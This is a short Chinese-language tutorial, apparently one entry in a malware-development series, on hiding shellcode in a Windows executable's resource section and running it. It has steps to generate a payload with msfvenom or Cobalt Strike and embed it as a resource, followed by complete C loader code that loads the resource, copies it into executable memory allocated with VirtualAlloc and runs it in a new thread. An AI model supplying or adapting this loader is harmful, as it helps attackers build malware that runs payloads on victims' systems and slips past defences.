20-基于资源节加载shellcode

一、前言

资源节(Resource Section)是Windows可执行文件(PE文件)的一部分,用于存储程序的资源,如图标、菜单、对话框等。攻击者可以将shellcode嵌入到资源节中,然后通过编程方式加载和执行它。

二、流程和代码实现

  1. 生成Shellcode 使用工具(如 msfvenom或cs)生成Shellcode,保存为二进制文件(如 shellcode.bin

  2. 添加资源到项目

右键 资源文件>添加>资源,添加我们刚刚生成的Shellcode

选择 导入,添加 payload.bin

我们可以在项目中看到我们的bin文件已经被加载

  1. 使用代码加载shellcode到内存中

#include <windows.h>
#include "resource.h"

int main()
{
	// 获取资源句柄
	HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCEW(IDR_SHELLCODE_BIN1), L"shellcode_BIN");
	
	// 用于获取资源的大小
	DWORD ResSize = SizeofResource(NULL, shellcodeResource);

	//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄
	HGLOBAL Load = LoadResource(NULL, shellcodeResource);

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, Load, ResSize);

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	// 等待线程执行完成
	WaitForSingleObject(hThread, INFINITE);

	return 0;
}